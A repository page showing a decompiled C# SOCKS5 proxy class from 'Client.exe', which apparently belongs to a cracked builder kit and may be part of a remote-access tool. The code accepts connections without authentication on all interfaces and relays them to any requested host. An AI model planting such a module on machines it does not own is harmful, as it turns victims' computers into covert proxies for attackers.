Files

82 lines
2.6 KiB
C#
Raw Permalink Normal View History

2026-08-27 11:23:13 -06:00
// Decompiled with JetBrains decompiler
// Type: Socks5Server
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
#nullable disable
public class Socks5Server
{
private TcpListener listener;
private bool running;
public async Task Start(int port)
{
this.listener = new TcpListener(IPAddress.Any, port);
this.listener.Start();
this.running = true;
while (this.running)
this.HandleClient(await this.listener.AcceptTcpClientAsync());
}
public void Stop()
{
this.running = false;
this.listener?.Stop();
}
private async Task HandleClient(TcpClient client)
{
NetworkStream stream = client.GetStream();
try
{
byte[] hello = new byte[2];
int num1 = await stream.ReadAsync(hello, 0, hello.Length);
byte[] buffer1 = new byte[(int) hello[1]];
int num2 = await stream.ReadAsync(buffer1, 0, buffer1.Length);
byte[] buffer2 = new byte[2]{ (byte) 5, (byte) 0 };
await stream.WriteAsync(buffer2, 0, buffer2.Length);
byte[] header = new byte[4];
int num3 = await stream.ReadAsync(header, 0, header.Length);
string host = "";
if (header[3] == (byte) 3)
{
byte[] hostBytes = new byte[stream.ReadByte()];
int num4 = await stream.ReadAsync(hostBytes, 0, hostBytes.Length);
host = Encoding.ASCII.GetString(hostBytes);
hostBytes = (byte[]) null;
}
byte[] portBytes = new byte[2];
int num5 = await stream.ReadAsync(portBytes, 0, portBytes.Length);
int port = (int) portBytes[0] << 8 | (int) portBytes[1];
TcpClient remote = new TcpClient();
await remote.ConnectAsync(host, port);
byte[] numArray = new byte[10];
numArray[0] = (byte) 5;
numArray[3] = (byte) 1;
byte[] buffer3 = numArray;
await stream.WriteAsync(buffer3, 0, buffer3.Length);
NetworkStream stream1 = remote.GetStream();
stream1.CopyToAsync((Stream) stream);
stream.CopyToAsync((Stream) stream1);
hello = (byte[]) null;
header = (byte[]) null;
host = (string) null;
portBytes = (byte[]) null;
remote = (TcpClient) null;
stream = (NetworkStream) null;
}
catch
{
client.Close();
stream = (NetworkStream) null;
}
}
}